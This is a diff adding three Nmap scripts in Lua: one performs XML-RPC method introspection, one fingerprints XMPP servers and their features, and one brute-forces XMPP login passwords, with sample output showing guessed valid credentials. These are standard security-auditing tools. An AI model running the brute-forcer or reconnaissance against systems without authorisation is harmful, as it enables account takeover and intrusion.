index 0000000..96102fc
--- /dev/null
+++ b/scripts/xmlrpc-methods.nse
@@ -0,0 +1,120 @@
+local http = require "http"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local slaxml = require "slaxml"
+local stdnse = require "stdnse"
+local strbuf = require "strbuf"
+local string = require "string"
+local table = require "table"
+local tableaux = require "tableaux"
+
+description = [[
+Performs XMLRPC Introspection via the system.listMethods method.
+
+If the verbosity is > 1 then the script fetches the response
+of system.methodHelp for each method returned by listMethods.
+]]
+
+---
+-- @args xmlrpc-methods.url The URI path to request.
+--
+-- @output
+-- | xmlrpc-methods:
+-- | Supported Methods:
+-- | list
+-- | system.listMethods
+-- | system.methodHelp
+-- |_ system.methodSignature
+--
+-- @xmloutput
+-- <table key="Supported Methods">
+-- <elem>list</elem>
+-- <elem>system.listMethods</elem>
+-- <elem>system.methodHelp</elem>
+-- <elem>system.methodSignature</elem>
+-- </table>
+
+author = "Gyanendra Mishra"
+
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+
+categories = {"default", "safe", "discovery"}
+
+portrule = shortport.http
+
+local function set_80_columns(t)
+ local buffer = strbuf.new()
+ for method, description in pairs(t) do
+ buffer = (buffer .. string.format(" %s:\n\n", method))
+ local line, ll = {}, 0
+ local add_word = function(word)
+ if #word + ll + 1 < 78 then
+ table.insert(line, word)
+ ll = ll + #word + 1
+ else
+ buffer = buffer .. table.concat(line, " ") .. "\n"
+ ll = #word + 1
+ line = {word}
+ end
+ end
+ string.gsub(description, "(%S+)", add_word)
+ buffer = buffer .. table.concat(line, " ") .. "\n\n"
+ end
+ return "\n" .. strbuf.dump(buffer)
+end
+
+action = function(host, port)
+
+ local url = stdnse.get_script_args(SCRIPT_NAME .. ".url") or "/"
+ local data = '<methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>'
+ local response = http.post(host, port, url, {header = {["Content-Type"] = "application/x-www-form-urlencoded"}}, nil, data )
+ if not (response and response.status and response.body) then
+ stdnse.debug1("HTTP POST failed")
+ return nil
+ end
+ local output = stdnse.output_table()
+ local parser = slaxml.parser:new()
+
+ local under_80 = {
+ __tostring = set_80_columns
+ }
+
+ if response.status == 200 and response.body:find("<value><string>system.listMethods</string></value>", nil, true) then
+
+ parser._call = {startElement = function(name)
+ parser._call.text = name == "string" and function(content) output["Supported Methods"] = output["Supported Methods"] or {} table.insert(output["Supported Methods"], content) end end,
+ closeElement = function(name) parser._call.text = function() return nil end end
+ }
+ parser:parseSAX(response.body, {stripWhitespace=true})
+
+ if nmap.verbosity() > 1 and tableaux.contains(output["Supported Methods"], "system.methodHelp") then
+ for i, method in ipairs(output["Supported Methods"]) do
+ data = '<methodCall> <methodName>system.methodHelp</methodName> <params> <param><value> <string>' .. method .. '</string> </value></param> </params> </methodCall>'
+ response = http.post(host, port, url, {header = {["Content-Type"] = "application/x-www-form-urlencoded"}}, nil, data)
+ if response and response.status == 200 then
+ parser._call.startElement = function(name)
+ parser._call.text = name == "string" and function(content)
+ content = parser.unescape(content)
+ output["Supported Methods"][i] = nil
+ output["Supported Methods"][method] = content
+ end
+ end
+ parser:parseSAX(response.body, {stripWhitespace=true})
+ end
+ -- useful in cases when the output returned by the above request is empty
+ -- or the <value><string></string></value> has no text in the string
+ -- element.
+ if output["Supported Methods"][i] then
+ output["Supported Methods"][i] = nil
+ output["Supported Methods"][method] = "Empty system.methodHelp output."
+ end
+ end
+ setmetatable(output["Supported Methods"], under_80)
+ end
+ return output
+ elseif response.body:find("<name>faultCode</name>", nil, true) then
+ output.error = "XMLRPC instance doesn't support introspection."
+ return output, output.error
+ end
+end
+
diff --git a/scripts/xmpp-brute.nse b/scripts/xmpp-brute.nse
new file mode 100644
index 0000000..e1ed416
--- /dev/null
+++ b/scripts/xmpp-brute.nse
@@ -0,0 +1,142 @@
+local brute = require "brute"
+local coroutine = require "coroutine"
+local creds = require "creds"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local xmpp = require "xmpp"
+
+description = [[
+Performs brute force password auditing against XMPP (Jabber) instant messaging servers.
+]]
+
+---
+-- @usage
+-- nmap -p 5222 --script xmpp-brute <host>
+--
+-- @output
+-- PORT STATE SERVICE
+-- 5222/tcp open xmpp-client
+-- | xmpp-brute:
+-- | Accounts
+-- | CampbellJ:arthur321 - Valid credentials
+-- | CampbellA:joan123 - Valid credentials
+-- | WalkerA:auggie123 - Valid credentials
+-- | Statistics
+-- |_ Performed 6237 guesses in 5 seconds, average tps: 1247
+--
+-- @args xmpp-brute.auth authentication mechanism to use LOGIN, PLAIN, CRAM-MD5
+-- or DIGEST-MD5
+-- @args xmpp-brute.servername needed when host name cannot be automatically
+-- determined (eg. when running against an IP,
+-- instead of hostname)
+--
+
+-- Version 0.1
+-- Created 07/21/2011 - v0.1 - created by Patrik Karlsson <patrik@cqure.net>
+
+
+author = "Patrik Karlsson"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"brute", "intrusive"}
+
+portrule = shortport.port_or_service(5222, {"jabber", "xmpp-client"})
+
+local mech
+
+ConnectionPool = {}
+
+Driver =
+{
+
+ -- Creates a new driver instance
+ -- @param host table as received by the action method
+ -- @param port table as received by the action method
+ -- @param pool an instance of the ConnectionPool
+ new = function(self, host, port, options )
+ local o = { host = host, port = port, options = options }
+ setmetatable(o, self)
+ self.__index = self
+ return o
+ end,
+
+ -- Connects to the server (retrieves a connection from the pool)
+ connect = function( self )
+ self.helper = ConnectionPool[coroutine.running()]
+ if ( not(self.helper) ) then
+ self.helper = xmpp.Helper:new( self.host, self.port, self.options )
+ local status, err = self.helper:connect(brute.new_socket())
+ if ( not(status) ) then return false, err end
+ ConnectionPool[coroutine.running()] = self.helper
+ end
+ return true
+ end,
+
+ -- Attempts to login to the server
+ -- @param username string containing the username
+ -- @param password string containing the password
+ -- @return status true on success, false on failure
+ -- @return brute.Error on failure and creds.Account on success
+ login = function( self, username, password )
+ local status, err = self.helper:login( username, password, mech )
+ if ( status ) then
+ self.helper:close()
+ self.helper:connect()
+ return true, creds.Account:new(username, password, creds.State.VALID)
+ end
+ if ( err:match("^ERROR: Failed to .* data$") ) then
+ self.helper:close()
+ self.helper:connect()
+ local err = brute.Error:new( err )
+ -- This might be temporary, set the retry flag
+ err:setRetry( true )
+ return false, err
+ end
+ return false, brute.Error:new( "Incorrect password" )
+ end,
+
+ -- Disconnects from the server (release the connection object back to
+ -- the pool)
+ disconnect = function( self )
+ return true
+ end,
+
+}
+
+local function fail(err) return stdnse.format_output(false, err) end
+
+action = function(host, port)
+
+ local options = { servername = stdnse.get_script_args("xmpp-brute.servername") }
+ local helper = xmpp.Helper:new(host, port, options)
+ local status, err = helper:connect()
+ if ( not(status) ) then
+ return fail("Failed to connect to XMPP server")
+ end
+
+ local mechs = helper:getAuthMechs()
+ if ( not(mechs) ) then
+ return fail("Failed to retrieve authentication mechs from XMPP server")
+ end
+
+ local mech_prio = stdnse.get_script_args("xmpp-brute.auth")
+ mech_prio = ( mech_prio and { mech_prio } ) or { "PLAIN", "LOGIN", "CRAM-MD5", "DIGEST-MD5"}
+
+ for _, mp in ipairs(mech_prio) do
+ for m, _ in pairs(mechs) do
+ if ( mp == m ) then mech = m; break end
+ end
+ if ( mech ) then break end
+ end
+
+ if ( not(mech) ) then
+ return fail("Failed to find suitable authentication mechanism")
+ end
+
+ local engine = brute.Engine:new(Driver, host, port, options)
+ engine.options.script_name = SCRIPT_NAME
+ local result
+ status, result = engine:start()
+
+ return result
+
+end
diff --git a/scripts/xmpp-info.nse b/scripts/xmpp-info.nse
new file mode 100644
index 0000000..dc7e3d1
--- /dev/null
+++ b/scripts/xmpp-info.nse
@@ -0,0 +1,579 @@
+local match = require "match"
+local nmap = require "nmap"
+local shortport = require "shortport"
+local stdnse = require "stdnse"
+local string = require "string"
+local table = require "table"
+local xmpp = require "xmpp"
+
+description = [[
+Connects to XMPP server (port 5222) and collects server information such as:
+supported auth mechanisms, compression methods, whether TLS is supported
+and mandatory, stream management, language, support of In-Band registration,
+server capabilities. If possible, studies server vendor.
+]]
+
+---
+-- @output
+-- PORT STATE SERVICE REASON VERSION
+-- 5222/tcp open jabber syn-ack ejabberd (Protocol 1.0)
+-- | xmpp-info:
+-- | Respects server name
+-- | info:
+-- | xmpp:
+-- | lang: en
+-- | version: 1.0
+-- | capabilities:
+-- | node: http://www.process-one.net/en/ejabberd/
+-- | ver: TQ2JFyRoSa70h2G1bpgjzuXb2sU=
+-- | features:
+-- | In-Band Registration
+-- | auth_mechanisms:
+-- | DIGEST-MD5
+-- | SCRAM-SHA-1
+-- | PLAIN
+-- | pre_tls:
+-- | features:
+-- |_ TLS
+--@xmloutput
+-- <elem>Respects server name</elem>
+-- <table key="info">
+-- <table key="xmpp">
+-- <elem key="lang">en</elem>
+-- <elem key="version">1.0</elem>
+-- </table>
+-- <table key="capabilities">
+-- <elem key="node">http://www.process-one.net/en/ejabberd/</elem>
+-- <elem key="ver">TQ2JFyRoSa70h2G1bpgjzuXb2sU=</elem>
+-- </table>
+-- <table key="features">
+-- <elem>In-Band Registration</elem>
+-- </table>
+-- <table key="auth_mechanisms">
+-- <elem>DIGEST-MD5</elem>
+-- <elem>SCRAM-SHA-1</elem>
+-- <elem>PLAIN</elem>
+-- </table>
+-- </table>
+-- <table key="pre_tls">
+-- <table key="features">
+-- <elem>TLS</elem>
+-- </table>
+-- </table>
+--
+-- @args xmpp-info.server_name If set, overwrites hello name sent to the server.
+-- It can be necessary if XMPP server's name differs from DNS name.
+-- @args xmpp-info.alt_server_name If set, overwrites alternative hello name sent to the server.
+-- This name should differ from the real DNS name. It is used to find out whether
+-- the server refuses to talk if a wrong name is used. Default is ".".
+-- @args xmpp-info.no_starttls If set, disables TLS processing.
+
+
+author = "Vasiliy Kulikov"
+license = "Same as Nmap--See https://nmap.org/book/man-legal.html"
+categories = {"default", "safe", "discovery", "version"}
+
+
+local known_features = {
+ ['starttls'] = true,
+ ['compression'] = true,
+ ['mechanisms'] = true,
+ ['register'] = true,
+ ['dialback'] = true,
+ ['session'] = true,
+ ['auth'] = true,
+ ['bind'] = true,
+ ['c'] = true,
+ ['sm'] = true,
+ ['amp'] = true,
+ ['ver'] = true
+}
+
+local check_citadel = function(id1, id2)
+ stdnse.debug1("CHECK")
+ local i1 = tonumber(id1, 16)
+ local i2 = tonumber(id2, 16)
+ return i2 - i1 < 20 and i2 > i1
+end
+
+-- Be careful while adding fingerprints into the table - it must be well sorted
+-- as some fingerprints are actually supersetted by another...
+local id_database = {
+ {
+ --f3af7012-5d06-41dc-b886-42521de4e198
+ --''
+ regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '[-]' ..
+ string.rep('[0-9a-f]', 4) .. '[-]' ..
+ string.rep('[0-9a-f]', 4) .. '[-]' ..
+ string.rep('[0-9a-f]', 4) .. '[-]' ..
+ string.rep('[0-9a-f]', 12) .. '$',
+ regexp2 = '^$',
+ name = 'prosody'
+ },
+
+ {
+ regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '$',
+ regexp2 = '^' .. string.rep('[0-9a-f]', 8) .. '$',
+ name = 'Citadel',
+ check = check_citadel
+ },
+
+ {
+ --1082952309
+ --(no)
+ regexp1 = '^' .. string.rep('[0-9]', 9) .. '$',
+ regexp2 = nil,
+ name = 'jabberd'
+ },
+ {
+ --1082952309
+ --(no)
+ regexp1 = '^' .. string.rep('[0-9]', 10) .. '$',
+ regexp2 = nil,
+ name = 'jabberd'
+ },
+
+ {
+ --8npnkiriy7ga6bak1bdpzn816tutka5sxvfhe70c
+ --egnlry6t9ji87r9dk475ecxc8dtmkuyzalk2jrvt
+ regexp1 = '^' .. string.rep('[0-9a-z]', 40) .. '$',
+ regexp2 = '^' .. string.rep('[0-9a-z]', 40) .. '$',
+ name = 'jabberd2'
+ },
+
+ {
+ --4c9e369a841db417
+ --fc0a60b82275289e
+ regexp1 = '^' .. string.rep('[0-9a-f]', 16) .. '$',
+ regexp2 = '^' .. string.rep('[0-9a-f]', 16) .. '$',
+ name = 'Isode M-Link'
+ },
+
+ {
+ --1114798225
+ --494549622
+ regexp1 = '^' .. string.rep('[0-9]', 8) .. string.rep('[0-9]?', 2) .. '$',
+ regexp2 = '^' .. string.rep('[0-9]', 8) .. string.rep('[0-9]?', 2) .. '$',
+ name = 'ejabberd'
+ },
+
+ {
+ --5f049d72
+ --3b5b40b
+ regexp1 = '^' .. string.rep('[0-9a-f]', 6) .. string.rep('[0-9a-f]?', 2) .. '$',
+ regexp2 = '^' .. string.rep('[0-9a-f]', 6) .. string.rep('[0-9a-f]?', 2) .. '$',
+ name = 'Openfire'
+ },
+
+
+ {
+ --c7cd895f-e006-473b-9623-c0aae85f17fc
+ --tigase-error-tigase
+ regexp1 = '^' .. string.rep('[0-9a-f]', 8) .. '[-]' ..
+ string.rep('[0-9a-f]', 4) .. '[-]' ..
+ string.rep('[0-9a-f]', 4) .. '[-]' ..
+ string.rep('[0-9a-f]', 4) .. '[-]' ..
+ string.rep('[0-9a-f]', 12) .. '$',
+ regexp2 = '^tigase[-]error[-]tigase$',
+ name = 'Tigase'
+ },
+ {
+ -- tigase.org (in case of bad DNS name):
+ --tigase-error-tigase
+ --tigase-error-tigase
+ regexp1 = '^tigase[-]error[-]tigase$',
+ regexp2 = '^tigase[-]error[-]tigase$',
+ name = 'Tigase'
+ },
+
+ {
+ --4c9e369a841db417
+ --fc0a60b82275289e
+ regexp1 = '^' .. string.rep('[0-9a-f]', 16) .. '$',
+ regexp2 = '^' .. string.rep('[0-9a-f]', 16) .. '$',
+ name = 'Isode M-Link'
+ },
+
+ {
+ regexp1 = "^c2s_",
+ regexp2 = "^c2s_",
+ name = 'VKontakte/XMPP'
+ }
+}
+
+local receive_tag = function(conn)
+ local status, data = conn:receive_buf(match.pattern_limit(">", 256), true)
+ if data then stdnse.debug2("%s", data) end
+ return status and xmpp.XML.parse_tag(data)
+end
+
+local log_tag = function(tag)
+ stdnse.debug2("%s", "name=" .. tag.name)
+ stdnse.debug2("%s", "finish=" .. tostring(tag.finish))
+ stdnse.debug2("%s", "empty=" .. tostring(tag.empty))
+ stdnse.debug2("%s", "contents=" .. tag.contents)
+end
+
+local make_request = function(server_name, xmlns)
+ local request = "<?xml version='1.0'?><stream:stream xmlns:stream='http://etherx.jabber.org/streams'" ..
+ " xmlns=" .. xmlns .." xml:lang='ru-RU' to='" .. server_name .. "' version='1.0'>"
+ return request
+end
+
+local connect_tls = function(s, xmlns, server_name)
+ local request = make_request(server_name, xmlns)
+ request = request .. "<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>"
+ s:send(request)
+ while true do
+ local tag = receive_tag(s)
+ if not tag then break end
+ log_tag(tag)
+ if tag.name == "proceed" and tag.finish then
+ local status, error = s:reconnect_ssl()
+ if status then return true end
+ break
+ elseif tag.name == "failure" then
+ return false
+ end
+ end
+end
+
+local scan = function(host, port, server_name, tls)
+ local data, status
+ local client = nmap.new_socket()
+ local tls_text
+ local stream_id
+
+ -- Looks like 10 seconds is enough for non RFC-compliant servers...
+ client:set_timeout(10 * 1000);
+
+ local caps = stdnse.output_table()
+ local err = {}
+ local features_list = {}
+ local mechanisms = {}
+ local methods = {}
+ local unknown = {}
+ local t_xmpp = stdnse.output_table()
+
+ local xmlns
+ stdnse.debug1(port.version.name)
+ if port.version.name == 'xmpp-client' then
+ xmlns = "'jabber:client'"
+ else
+ xmlns = "'jabber:server'"
+ end
+ if tls then tls_text = ", tls" else tls_text = "" end
+ stdnse.debug1("name '" .. server_name .. "', ns '" .. xmlns .. "'" .. tls_text)
+
+ status, data = client:connect(host, port)
+ if not status then
+ client:close()
+ return
+ end
+ if tls and not connect_tls(client, xmlns, server_name) then
+ client:close()
+ return
+ end
+
+ local request = make_request(server_name, xmlns)
+
+ if not client:send(request) then
+ client:close()
+ return
+ end
+
+ local tag_stack = {}
+ table.insert(tag_stack, "")
+ local _inside = function(...)
+ local v = select('#',...)
+ for n = 1, v do
+ local e = select(v - n + 1,...)
+ if e ~= tag_stack[#tag_stack - n + 1] then return nil end
+ end
+ return true
+ end
+ local inside = function(...) return _inside('stream:features', ...) end
+
+ local is_starttls, tls_required, in_error, got_text
+ while true do
+ local tag = receive_tag(client)
+ if not tag then
+ table.insert(err, "(timeout)")
+ break
+ end
+ log_tag(tag)
+ if tag.name == "stream:features" and tag.finish then
+ break
+ end
+
+ if inside() and not known_features[tag.name] then
+ stdnse.debug1(tag.name)
+ table.insert(unknown, tag.name)
+ end
+
+ if tag.name == "stream:stream" and tag.start then
+ --http://xmpp.org/extensions/xep-0198.html#ns
+ if tag.attrs['xmlns:ack'] and
+ tag.attrs['xmlns:ack'] == 'http://www.xmpp.org/extensions/xep-0198.html#ns' then
+ table.insert(t_xmpp, "Stream Management")
+ end
+ if tag.attrs['xml:lang'] then
+ t_xmpp["lang"] = tag.attrs['xml:lang']
+ end
+ if tag.attrs.from and tag.attrs.from ~= server_name then
+ t_xmpp["server name"] = tag.attrs.from
+ end
+
+ stream_id = tag.attrs.id
+
+ if tag.attrs.version then
+ t_xmpp["version"] = tag.attrs.version
+ else
+ -- Alarm! Not an RFC-compliant server...
+ -- sample: chirimoyas.es
+ t_xmpp["version"] = "(none)"
+ end
+ end
+
+ if tag.name == "sm" and tag.start and inside() then
+ stdnse.debug1("OK")
+ --http://xmpp.org/extensions/xep-0198.html
+ --sample: el-tramo.be
+ local version = string.match(tag.attrs.xmlns, "^urn:xmpp:sm:(%.)")
+ table.insert(features_list, 'Stream management v' .. version)
+ end
+
+ if tag.name == "starttls" and inside() then
+ is_starttls = true
+ elseif tag.name == "address" and tag.finish and inside() then
+ --http://delta.affinix.com/specs/xmppstream.html
+ table.insert(features_list, "MY IP: " .. tag.contents )
+ elseif tag.name == "ver" and inside() then
+ --http://xmpp.org/extensions/xep-0237.html
+ table.insert(features_list, "Roster Versioning")
+ elseif tag.name == "dialback" and inside() then
+ --http://xmpp.org/extensions/xep-0220.html
+ table.insert(features_list, "Server Dialback")
+ elseif tag.name == "session" and inside() then
+ --http://www.ietf.org/rfc/rfc3921.txt
+ table.insert(features_list, "IM Session Establishment")
+ elseif tag.name == "bind" and inside() then
+ --http://www.ietf.org/rfc/rfc3920.txt
+ table.insert(features_list, "Resource Binding")
+ elseif tag.name == "amp" and inside() then
+ --http://xmpp.org/extensions/xep-0079.html
+ table.insert(features_list, "Advanced Message Processing")
+ elseif tag.name == "register" and inside() then
+ --http://xmpp.org/extensions/xep-0077.html
+ --sample: jabber.ru
+ table.insert(features_list, "In-Band Registration")
+ elseif tag.name == "auth" and inside() then
+ --http://xmpp.org/extensions/xep-0078.html
+ table.insert(mechanisms, "Non-SASL")
+ elseif tag.name == "required" and inside('starttls') then
+ tls_required = true
+ elseif tag.name == "method" and inside('compression', 'method') then
+ --http://xmpp.org/extensions/xep-0138.html
+ if tag.finish then
+ table.insert(methods, tag.contents)
+ end
+ elseif tag.name == "mechanism" and inside('mechanisms', 'mechanism') then
+ if tag.finish then
+ table.insert(mechanisms, tag.contents)
+ end
+ elseif tag.name == "c" and inside() then
+ --http://xmpp.org/extensions/xep-0115.html
+ --sample: jabber.ru
+ if tag.attrs and tag.attrs.node then
+ caps["node"] = tag.attrs.node
+
+ -- It is a table of well-known node values of "c" tag
+ -- If it matched then the server software is determined
+ --TODO: Add more hints
+ -- I cannot find any non-ejabberd public server publishing its <c> :(
+ local hints = {
+ ["http://www.process-one.net/en/ejabberd/"] = "ejabberd"
+ }
+ local hint = hints[tag.attrs.node]
+ if hint then
+ port.state = "open"
+ port.version.product = hint
+ port.version.name_confidence = 10
+ nmap.set_port_version(host, port)
+ end
+
+ -- Funny situation: we have a hash of server capabilities list,
+ -- but we cannot explicitly ask him about the list because we have no name before the authentication.
+ -- The ugly solution is checking the hash against the most popular capability sets...
+ caps["ver"] = tag.attrs.ver
+ end
+ end
+
+ if tag.name == "stream:error" then
+ if tag.start then
+ in_error = tag.start
+ elseif not got_text then -- non-RFC compliant server!
+ if tag.contents ~= "" then
+ table.insert(err, {text= tag.contents})
+ end
+ in_error = false
+ end
+ elseif in_error then
+ if tag.name == "text" then
+ if tag.finish then
+ got_text = true
+ table.insert(err, {text= tag.contents})
+ end
+ else
+ table.insert(err, tag.name)
+ end
+ end
+
+ if tag.start and not tag.finish then
+ table.insert(tag_stack, tag.name)
+ elseif not tag.start and tag.finish and #tag_stack > 1 then
+ table.remove(tag_stack, #tag_stack)
+ end
+ end
+
+ if is_starttls then
+ if tls_required then
+ table.insert(features_list, "TLS (required)")
+ else
+ table.insert(features_list, "TLS")
+ end
+ end
+
+ return {
+ stream_id=stream_id,
+ xmpp=t_xmpp,
+ features=features_list,
+ capabilities=caps,
+ compression_methods=methods,
+ auth_mechanisms=mechanisms,
+ errors=err,
+ unknown=unknown,
+ }
+end
+
+local server_info = function(host, port, id1, id2)
+ for s, v in pairs(id_database) do
+ if ((not id1 and not v.regexp1) or (id1 and v.regexp1 and string.find(id1, v.regexp1))) and
+ ((not id2 and not v.regexp2) or (id2 and v.regexp2 and string.find(id2, v.regexp2))) then
+ if not v.check or v.check(id1, id2) then
+ stdnse.debug1("MATCHED")
+ port.version.product = v.name
+ stdnse.debug1(" " .. v.name)
+ port.version.name_confidence = 6
+ nmap.set_port_version(host, port)
+ break
+ end
+ end
+ end
+end
+
+local factor = function( t1, t2 )
+ local both = stdnse.output_table()
+ local t1only = stdnse.output_table()
+ local t2only = stdnse.output_table()
+ --ordered key-value categories
+ for _, cat in ipairs({"xmpp", "capabilities"}) do
+ local both_c = stdnse.output_table()
+ local t1only_c = stdnse.output_table()
+ local t2only_c = stdnse.output_table()
+ local t1c = t1[cat]
+ local t2c = t2[cat]
+ for k,v in pairs(t1c) do
+ if t2c[k] then
+ if t2c[k] == v then
+ both_c[k] = v
+ else
+ t1only_c[k] = v
+ t2only_c[k] = t2c[k]
+ end
+ else
+ t1only_c[k] = v
+ end
+ end
+ for k, v in pairs(t2c) do
+ if not t1c[k] then
+ t2only_c[k] = v
+ end
+ end
+ both[cat] = (#both_c and both_c) or nil
+ t1only[cat] = (#t1only_c and t1only_c) or nil
+ t2only[cat] = (#t2only_c and t2only_c) or nil
+ end
+ --ordered list categories
+ for _, cat in ipairs({"features", "compression_methods", "auth_mechanisms", "errors", "unknown"}) do
+ local t1only_c = {}
+ local t2only_c = {}
+ local both_c = {}
+ local t1c = t1[cat]
+ local t2c = t2[cat]
+ local union = {}
+ for _, v in ipairs(t1c) do
+ union[v] = 1
+ end
+ for _, v in ipairs(t2c) do
+ if union[v] then
+ union[v] = 2
+ else
+ table.insert(t2only_c, v)
+ end
+ end
+ for v, num in pairs(union) do
+ if num == 1 then
+ table.insert(t1only_c, v)
+ else
+ table.insert(both_c, v)
+ end
+ end
+ both[cat] = (next(both_c) and both_c) or nil
+ t1only[cat] = (next(t1only_c) and t1only_c) or nil
+ t2only[cat] = (next(t2only_c) and t2only_c) or nil
+ end
+ return both, t1only, t2only
+end
+
+portrule = shortport.version_port_or_service({5222, 5269}, {"jabber", "xmpp-client", "xmpp-server"})
+action = function(host, port)
+ local server_name = stdnse.get_script_args("xmpp-info.server_name") or host.targetname or host.name
+ local alt_server_name = stdnse.get_script_args("xmpp-info.alt_server_name") or "."
+ local tls_result
+ local starttls_failed
+
+ stdnse.debug2("%s", "server = " .. server_name)
+
+ local altname_result = scan(host, port, alt_server_name, false)
+
+ local plain_result = scan(host, port, server_name, false)
+
+ server_info(host, port, altname_result["stream_id"], plain_result["stream_id"])
+
+ if not stdnse.get_script_args("xmpp-info.no_starttls") then
+ tls_result = scan(host, port, server_name, true)
+ if not tls_result then starttls_failed = 1 end
+ end
+
+
+ local r = stdnse.output_table()
+
+ if #altname_result["errors"] == 0 and #plain_result["errors"] == 0 then
+ table.insert(r, "Ignores server name")
+ elseif #altname_result["errors"] ~= #plain_result["errors"] then
+ table.insert(r, "Respects server name")
+ end
+
+ if not tls_result then
+ if starttls_failed then table.insert(r, "STARTTLS Failed") end
+ r["info"] = plain_result
+ else
+ local i,p,t = factor(plain_result, tls_result)
+ r["info"] = (#i and i) or nil
+ r["pre_tls"] = (#p and p) or nil
+ r["post_tls"] = (#t and t) or nil
+ end
+
+ return r
+end